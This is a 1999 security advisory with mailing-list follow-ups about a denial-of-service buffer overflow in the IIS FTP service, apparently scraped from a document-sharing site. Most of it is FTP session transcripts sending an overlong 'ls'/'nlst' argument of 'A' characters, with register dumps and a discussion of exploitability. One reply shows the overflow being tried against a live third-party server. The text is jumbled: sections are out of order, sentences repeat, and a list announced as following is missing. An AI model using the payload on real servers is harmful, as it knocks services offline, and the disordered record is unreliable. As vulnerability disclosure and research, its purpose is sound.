Beruflich Dokumente
Kultur Dokumente
________________________________________________________________________
Advisory:
IIS Remote FTP Exploit/DoS Attack
Systems Tested:
Windows NT 4.0 (SP4) IIS 3.0 / 4.0
Windows 95/98 PWS 1.0
Release Date:
Sunday, January 24, 1999
Advisory Code:
IISE01
________________________________________________________________________
Description:
________________________________________________________________________
The server must either have anonymous access rights or an attacker must
have an account.
C:\>ftp guilt.xyz.com
Connected to guilt.xyz.com.
220 GUILT Microsoft FTP Service (Version 4.0).
User (marc.xyz.com:(none)): ftp
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 Anonymous user logged in.
ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
200 PORT command successful.
150 Opening ASCII mode data connection for file list.
[The server has now processed our long NLST request and has crashed]
-> ftp: get :Connection reset by peer
[Our ftp client looses connection... that is a given]
The above example uses 316 characters to overflow. This is the smallest
possible buffer to pass that will overflow IIS. Lets take a look at the
server side happenings.
Lets move on and take a look at the largest string we can pass to
overflow IIS.
C:\>ftp guilt.xyz.com
Connected to guilt.xyz.com.
220 GUILT Microsoft FTP Service (Version 4.0).
User (marc.xyz.com:(none)): ftp
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 Anonymous user logged in.
[The server must either have anonymous access rights or an attacker must
have an account]
ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAA
There sure are a lot of 41 hex codes in our registers now. >:-]
So to wrap it all up what we have here is a DoS attack against any IIS
server with ftp access. Keep in mind we have to be able to login.
However, Anonymous access is granted on most servers. Once we have
overflowed IIS all IIS services will fail. (I.E. The web service, NNTP,
SMTP etc..) What we have seems to be a very interesting buffer overflow.
________________________________________________________________________
Special Thanks
________________________________________________________________________
The eEye Digital Security Team would like to extend a special thanks to
Mudge and Dildog.
________________________________________________________________________
________________________________________________________________________
Disclaimer:
________________________________________________________________________
The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO warranties with regard to this information. In no event shall the
author be liable for any damages whatsoever arising out of or in
connection with the use or spread of this information. Any use of this
information is at the user's own risk.
ftp> o ftp.microsoft.com
Connected to ftp.microsoft.com.
220 ftp Microsoft FTP Service (Version 3.0).
User (ftp.microsoft.com:(none)): ftp
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230-This is FTP.MICROSOFT.COM
230-Please see the dirmap.txt file for
230-more information. An alternate
230-location for Windows NT Service
230-Packs is located at:
230-ftp://198.105.232.37/fixes/
230 Anonymous user logged in.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for file list.
bussys
deskapps
developr
dirmap.htm
dirmap.txt
DISCLAIM.TXT
disclaimer.txt
HOMEMM.old
KBHelp
ls-lR.txt
ls-lR.Z
LS-LR.ZIP
MSCorp
peropsys
PRODUCT.TBL
Products
Services
Softlib
solutions
226 Transfer complete.
ftp: 204 bytes received in 0.05Seconds 4.08Kbytes/sec.
ftp> quote nlst
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAA
AAAAAAAAAAAAAAAAAAA
150 Opening ASCII mode data connection for file list.
ftp> ls
425 Can't open data connection.
ftp> ls
200 PORT command successful.
200 PORT command successful.
ftp> clos
150 Opening ASCII mode data connection for file list.
ftp> ls
Not connected.
ftp>
If instead of the "quote nlst AAA..." command with "ls AA.." .. voila :
I've used the ftp command supplied with Windows98, who's not allowing me
to type those 316 characters, "the smallest possible buffer to pass that
will overflow IIS".:)
++++++++++++++++++++++++++++++++
+++++++++++888+88e+++888++dP"8++
++e88'888++888+888D++888++C8b+Y+ eMAIL: civan@usa.net
+d888++'8++888+88"+++888+++Y8b++ IRC: cRIS (UNDERNET)
+Y888+++,++888+b,++++888+b+Y8D++ WEB: http://soon.to.come
++"88,e8'++888+88b,++888++8edP++
++++++++++++++++++++++++++++++++
* Whitney Houston
________________________________________________________________________
<Snip>
>On the server side we have an "Application Error" message for
>inetinfo.exe. "The instruction at '0x710f8aa2' referenced memory at
>'0x41414156'. The memory could not be 'read'."
>
>If we take a look at our registers we will see the following:
>
>EAX = 0000005C EBX = 00000001
>ECX = 00D3F978 EDX = 002582DD
>ESI = 00D3F978 EDI = 00000000
>EIP = 710F8AA2 ESP = 00D3F644
>EBP = 00D3F9F0 EFL = 00000206
>
>There is no 41 hex (Our overflow character) in any of our registers so
>we chalk this up as a DoS attack for now.
<Snip>
>On the server we have the same "Application Error" message for
>inetinfo.exe except this time "The instruction at '0x722c9262'
>referenced memory at "0x41414141'." This is looking mighty interesting.
>Lets look at our registers once again:
>
>EAX = 00000000 EBX = 41414141
>ECX = 41414141 EDX = 722C1CAC
>ESI = 41414141 EDI = 41414141
>EIP = 722C9262 ESP = 00D3F524
>EBP = 00D3F63C EFL = 00000246
>
>There sure are a lot of 41 hex codes in our registers now. >:-]
>
>So to wrap it all up what we have here is a DoS attack against any IIS
>server with ftp access. Keep in mind we have to be able to login.
>However, Anonymous access is granted on most servers. Once we have
>overflowed IIS all IIS services will fail. (I.E. The web service, NNTP,
>SMTP etc..) What we have seems to be a very interesting buffer overflow.
________________________________________________________________________
The only valid eMail I have gotten, and has pretty much been proven so
far,
was from Mnemonix were he couldnt reproduce the overflow on NT 4 Server
IIS4
(installed from NT 4 Option pack) with service Pack 3 - no hotfixes. He
used
telnet to establish the session to the FTP server and then issued the
PORT
command and had netcat listen on the port. He then tried the overflow and
it
did not work. This very well may be true because we did not test sp3.
There
seems to be some mixed findings... some I am not sure if the people
eMailing
me are doing it wrong and some could be configuration differences. Which
ever the case its up to Microsoft to fix the problem. We do know
positivily
the following:
Signed,
Marc
eEye Digital Security Team
www.eEye.com
P.S.
Some of the Unix ftp clients also malform the request so even though to
the
eye it looks like its sending the correct "ls (aaa...)" it doesnt send it
correctly. Some goes for NT4.0's ftp.exe and a few others.
________________________________________________________________________
I was able to reproduce on an NT4/SP4 machine with IIS4 (from the NT4
option pack) using the following procedure:
You have to send a valid PORT command, and be listening on the port, for
the service to crash. If you don't send a valid PORT command and listen
for the connection, the FTP service will just disconnect you.
-jon
=====================================================================
Jon Larimer | Direct Dial: (678) 443-6159
Systems Engineer / ISS XForce Team | ISS Front Desk: (678) 443-6000
Internet Security Systems, Inc. | ISS Fax: (678) 443-6477
http://www.iss.net/ *Adaptive Network Security for the Enterprise*
=====================================================================
________________________________________________________________________
> >On the server we have the same "Application Error" message for
> >inetinfo.exe except this time "The instruction at '0x722c9262'
> >referenced memory at "0x41414141'." This is looking mighty
interesting.
This is because it's overwriting data in the bss (where static poitners
are stored), which is then being used as arguments in something like
strcpy() or memcpy(). That fails because the pointer points to an
invalid
address. The reason I assume it's a static pointer is because it's not
overwriting EIP. If it were on the stack overwriting the local pointer,
it'd also be able to overwrite EIP. That's because local variables come
below the return addresses on the stack and also have the capability to
overflow the return address (unless the program restricts it).
> >So to wrap it all up what we have here is a DoS attack against any IIS
> >server with ftp access. Keep in mind we have to be able to login.
> >However, Anonymous access is granted on most servers. Once we have
> >overflowed IIS all IIS services will fail. (I.E. The web service,
NNTP,
> >SMTP etc..) What we have seems to be a very interesting buffer
overflow.
>
> Well, unless I missed something neither of these cases indicates an
easily
> exploitable buffer overflow.
Well, I think you both did. First, just because something doesn't
overwrite EIP, doesn't mean it can't be exploited! Second, it proably
_is_ an easily exploitable buffer overflow. You probably meant to say
it's not an easily exploitable "stack-based overflow." That's correct,
because it is not a stack-based overflow. See below.
EIP and EBP are left unmolested because it's not a stack overflow; it's a
bss overflow (specifically, it's overflowing a static buffer in the bss).
If it were a stack overflow, the arrangement of the variables wouldn't
have mattered (AFAIK). See my comments above. I explained how I can tell
(well, why I assume) it's a static buffer overflow in the bss.
Also, this can most likely be exploited fairly easy (as opposed to Seth's
comments). I cover several exploitation methods in an article I'm going
to post following this (look for "w00w00 on Heap Overflows"). Given that
you were able to overwrite the pointer with an arbitrary value, you can
also guess offsets into another buffer, that allows indirect exploitation
(filename pointers are a great example of this). For example, with
filename pointers, you could change the pointer from a valid string to
your argv[1], which could contain "/etc/shadow".
> If for some reason the order of variables on the stack is changed
> (perhaps with a different compiler or optimization) you may very well
> get the extra reach you need. As it stands you dont have it here.
> I suspect the same will be true of IIS, so you may get control of the
> processor with a specific revison but not another.
I doubt this is true. I'm not sure why most people assume it's always a
stack overflow. In this situation, I think it's much more likely this is
a heap/bss overflow.
Anyway, after I send this off, I will send out an article w00w00 Security
Development (WSD) and I have been working on for the last few weeks.
Although it has a few more things that should be cleared up, and a few
Look for the article, "w00w00 on Heap Overflows", today or tomorrow (it
will be posted here and to comp.security.*).
more case studies to add, this was an appropriate time to send it out. I
will post a final draft/revision after I finish adding everything.
Look for the article, "w00w00 on Heap Overflows", today or tomorrow (it
will be posted here and to comp.security.*).
*************************************************************************
**
Matt Conover <mattc@repsec.com> RSI R&D Team
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
RepSec, Inc. (RSI) [http://www.repsec.com]
w00w00 Security Development (WSD) [http://www.w00w00.org]